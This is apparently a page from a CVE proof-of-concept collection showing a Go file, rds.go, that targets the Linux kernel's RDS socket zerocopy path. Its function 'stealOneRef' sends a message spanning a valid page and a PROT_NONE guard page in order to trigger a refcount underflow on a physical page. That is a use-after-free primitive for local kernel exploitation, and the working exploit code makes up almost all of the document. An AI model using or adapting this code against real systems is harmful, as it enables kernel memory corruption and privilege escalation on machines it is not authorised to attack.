5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / rds.go GO
package main

import (
	"syscall"
	"unsafe"
)

const (
	afRDS              = 21
	solRDS             = 276
	soRDSTransport     = 8
	rdsCMSGZcookieType = 12  // RDS_CMSG_ZCOPY_COOKIE
	soZerocopy         = 60
	msgZerocopy        = 0x4000000
	pageSize           = 4096
	portBase           = 20000
)

// cmsghdr layout verified on x86_64:
//   offset 0:  cmsg_len  (size_t = uint64, 8 bytes)
//   offset 8:  cmsg_level (int32, 4 bytes)
//   offset 12: cmsg_type  (int32, 4 bytes)
//   sizeof = 16
// CMSG_LEN(4)   = 16 + 4 = 20
// CMSG_SPACE(4) = 16 + CMSG_ALIGN(4) = 16 + 8 = 24
type cmsghdr struct {
	Len   uint64 // size_t
	Level int32
	Type  int32
}

type rawSockaddrInet4 struct {
	Family uint16
	Port   uint16
	Addr   [4]byte
	Zero   [8]byte
}

// linux msghdr (x86_64)
type msghdr struct {
	Name       *rawSockaddrInet4
	Namelen    uint32
	Pad0       uint32
	Iov        *syscall.Iovec
	Iovlen     uint64
	Control    *byte
	Controllen uint64
	Flags      int32
	Pad1       int32
}

// stealOneRef : sendmsg RDS zcopy sur (page, guard) -> GUP pin page OK,
// guard PROT_NONE -> fault -> error path: put_page + __free_page -> -1 refcount.
func stealOneRef(pageAddr uintptr, port int) syscall.Errno {
	fd, _, errno := syscall.RawSyscall(syscall.SYS_SOCKET, afRDS, syscall.SOCK_SEQPACKET, 0)
	if errno != 0 {
		return errno
	}
	defer syscall.Close(int(fd))

	v := int32(1)
	syscall.Syscall6(syscall.SYS_SETSOCKOPT, fd,
		syscall.SOL_SOCKET, soZerocopy,
		uintptr(unsafe.Pointer(&v)), 4, 0)

	sndbuf := int32(2 * pageSize * 4)
	syscall.Syscall6(syscall.SYS_SETSOCKOPT, fd,
		syscall.SOL_SOCKET, syscall.SO_SNDBUF,
		uintptr(unsafe.Pointer(&sndbuf)), 4, 0)

	v = 2
	syscall.Syscall6(syscall.SYS_SETSOCKOPT, fd,
		solRDS, soRDSTransport,
		uintptr(unsafe.Pointer(&v)), 4, 0)

	bindSA := rawSockaddrInet4{
		Family: syscall.AF_INET,
		Port:   htons(uint16(port)),
		Addr:   [4]byte{127, 0, 0, 1},
	}
	syscall.RawSyscall(syscall.SYS_BIND, fd,
		uintptr(unsafe.Pointer(&bindSA)), 16)

	destSA := bindSA
	destSA.Port = htons(uint16(port + 1))

	// iov : page valide + page guard PROT_NONE -> GUP fault sur 2eme page
	iov := syscall.Iovec{
		Base: (*byte)(unsafe.Pointer(pageAddr)),
		Len:  2 * pageSize,
	}

	// cmsg : SOL_RDS / RDS_CMSG_ZCOPY_COOKIE
	// CMSG_SPACE(4) = 24 octets, CMSG_LEN(4) = 20
	cmsgBuf := make([]byte, 24)
	cm := (*cmsghdr)(unsafe.Pointer(&cmsgBuf[0]))
	cm.Len = 20           // CMSG_LEN(sizeof(uint32)) = 16 + 4 = 20
	cm.Level = solRDS
	cm.Type = rdsCMSGZcookieType // 12 = RDS_CMSG_ZCOPY_COOKIE
	// cmsgBuf[16..19] = cookie uint32 = 0 (zero-initialise par make)

	msg := msghdr{
		Name:       &destSA,
		Namelen:    16,
		Iov:        &iov,
		Iovlen:     1,
		Control:    &cmsgBuf[0],
		Controllen: 24, // CMSG_SPACE(4)
	}

	_, _, sendErrno := syscall.RawSyscall(syscall.SYS_SENDMSG, fd,
		uintptr(unsafe.Pointer(&msg)),
		msgZerocopy|syscall.MSG_DONTWAIT)
	return sendErrno
}

func htons(v uint16) uint16 {
	return (v<<8)&0xff00 | v>>8
}